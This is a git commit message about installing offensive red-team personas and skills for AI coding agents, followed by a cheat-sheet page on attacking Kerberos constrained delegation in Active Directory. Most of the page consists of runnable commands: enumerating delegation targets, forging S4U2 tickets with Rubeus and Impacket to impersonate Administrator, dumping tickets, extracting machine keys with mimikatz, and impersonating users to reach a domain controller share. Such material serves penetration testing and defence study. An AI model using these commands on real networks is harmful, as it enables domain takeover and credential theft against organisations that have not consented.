448d1cdcd9
- install_opencode: deploys 29 personas as agents + 1011 skills to
~/.config/opencode/{agents,skills}/. Uses OpenCode's markdown+YAML
agent format (mode/color/permission) and SKILL.md format.
- Topic filter with sensible defaults (drops marketing/biz ~514 skills).
CLI: --opencode-topics security-offensive,coding-backend,...
- Clone of swisskyrepo/InternalAllTheThings (168 MD, 1.7MB) added to
_shared/ as a reference trove for AD attack paths, ADCS ESC1-15,
Kerberos delegation, NTLM relay/coerce, lateral movement, persistence.
- NEO redteam + VORTEX cloud-ad personas reference the new KB with
MITRE ATT&CK TTP mapping pointers.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2.7 KiB
2.7 KiB
Kerberos Delegation - Constrained Delegation
Kerberos Constrained Delegation (KCD) is a security feature in Microsoft's Active Directory (AD) that allows a service to impersonate a user or another service in order to access resources on behalf of that user or service.
Identify a Constrained Delegation
-
BloodHound:
MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p -
PowerView:
Get-NetComputer -TrustedToAuth | select samaccountname,msds-allowedtodelegateto | ft -
Native
Get-DomainComputer -TrustedToAuth | select -exp dnshostname Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo -
bloodyAD:
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=16777216))' --attr sAMAccountName,msds-allowedtodelegateto
Exploit the Constrained Delegation
-
Impacket
getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip 10.10.10.10 -
Rubeus: S4U2 attack (S4U2self + S4U2proxy)
# with a password Rubeus.exe s4u /nowrap /msdsspn:"time/target.local" /altservice:cifs /impersonateuser:"administrator" /domain:"domain" /user:"user" /password:"password" # with a NT hash Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:user_to_impersonate /domain:domain.com /dc:dc01.domain.com /msdsspn:time/srv01.domain.com /altservice:cifs /ptt Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com" /altservice:cifs,http,host,rpcss,wsman,ldap /ptt dir \\dc.domain.com\c$ -
Rubeus: use an existing ticket to perform a S4U2 attack to impersonate the "Administrator"
# Dump ticket Rubeus.exe tgtdeleg /nowrap Rubeus.exe triage Rubeus.exe dump /luid:0x12d1f7 # Create a ticket Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /ticket:doIFRjCCBUKgAwIBB...BTA== /ptt -
Rubeus : using aes256 keys
# Get aes256 keys of the machine account privilege::debug token::elevate sekurlsa::ekeys # Create a ticket Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /user:win10x64$ /aes256:4b55f...fd82 /ptt
Impersonate a domain user on a resource
Require:
- SYSTEM level privileges on a machine configured with constrained delegation
PS> [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null
PS> $idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('administrator')
PS> $idToImpersonate.Impersonate()
PS> [System.Security.Principal.WindowsIdentity]::GetCurrent() | select name
PS> ls \\dc01.offense.local\c$